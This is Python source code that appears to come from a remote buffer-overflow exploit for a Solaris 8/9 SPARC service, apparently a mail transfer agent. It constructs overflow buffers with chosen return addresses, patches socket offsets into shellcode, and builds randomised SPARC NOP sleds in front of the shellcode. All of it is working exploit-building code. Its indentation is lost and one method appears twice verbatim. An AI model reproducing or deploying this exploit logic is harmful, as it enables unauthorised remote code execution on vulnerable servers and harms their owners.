def buildBaseBuffer(self, imtaBase):
filler = utils.buildBuffer(self.baseBufLen, self.badBytes)
conn = self.conn
found = False
while ((not found) and (conn < len(self.addrs))):
addr = imtaBase + self.addrs[conn]
conn += 1
if (not utils.intHasBadBytes(addr, self.badBytes)):
found = True
self.conn = conn
if (not found):
raise IndexError()
baseBuf = filler[0x0:0x104] \
+ utils.stringifyAddr(addr) \
+ filler[0x108:0x120] \
+ utils.stringifyAddr(addr) \
+ utils.stringifyAddr(addr) \
+ utils.stringifyAddr(addr) \
+ filler[0x12c:0x134] \
+ utils.stringifyAddr(addr) \
+ utils.stringifyAddr(addr) \
+ utils.stringifyAddr(addr) \
+ filler[0x140:0x17c] \
+ utils.stringifyAddr(addr) \
+ filler[0x180:]
return baseBuf
def buildShellcodeBuffer(self, target):
stackBase = target.stackBase
basePC = stackBase + target.bigBufOffset
pc = basePC
while (utils.intHasBadBytes(pc - 8, target.badBytes)):
pc += 4
socketLoc = stackBase + target.socketOffset
solaris9shellcode.socket_offset = \
utils.stringifyAddr(socketLoc - (pc + 8))
filler = utils.buildBuffer(pc - basePC, target.badBytes)
shellcodeBuf = filler \
+ solaris9shellcode.build()
target.pc = pc
return shellcodeBuf
def buildShellcodeBuffer(self, target):
stackBase = target.stackBase
basePC = stackBase + target.bigBufOffset
pc = basePC
while (utils.intHasBadBytes(pc - 8, target.badBytes)):
pc += 4
solaris8shellcode.stackbase = \
utils.stringifyAddr(stackBase + self.l7Stack)
solaris8shellcode.socket_offset = \
utils.stringifyAddr(target.socketOffset)
badRegs = range(0, 8) + [14, 30, 31] # global regs, sp, fp, and i7
shellcode = solaris8shellcode.build()
sledLen = (target.bigBufLen - len(shellcode)) / 4
sled = ''
for i in range(0, sledLen):
nop = utils.randomSparcNOP(badRegs, target.badBytes)
sled += utils.stringifyAddr(nop)
shellcodeBuf = sled \
+ shellcode
target.pc = pc
return shellcodeBuf
def buildShellcodeBuffer(self, target):
stackBase = target.stackBase
basePC = stackBase + target.bigBufOffset
pc = basePC
while (utils.intHasBadBytes(pc - 8, target.badBytes)):
pc += 4
solaris8shellcode.stackbase = \
utils.stringifyAddr(stackBase + self.l7Stack)
solaris8shellcode.socket_offset = \
utils.stringifyAddr(target.socketOffset)
badRegs = range(0, 8) + [14, 30, 31] # global regs, sp, fp, and i7
shellcode = solaris8shellcode.build()
sledLen = (target.bigBufLen - len(shellcode)) / 4
sled = ''
for i in range(0, sledLen):
nop = utils.randomSparcNOP(badRegs, target.badBytes)
sled += utils.stringifyAddr(nop)
shellcodeBuf = sled \
+ shellcode
target.pc = pc
return shellcodeBuf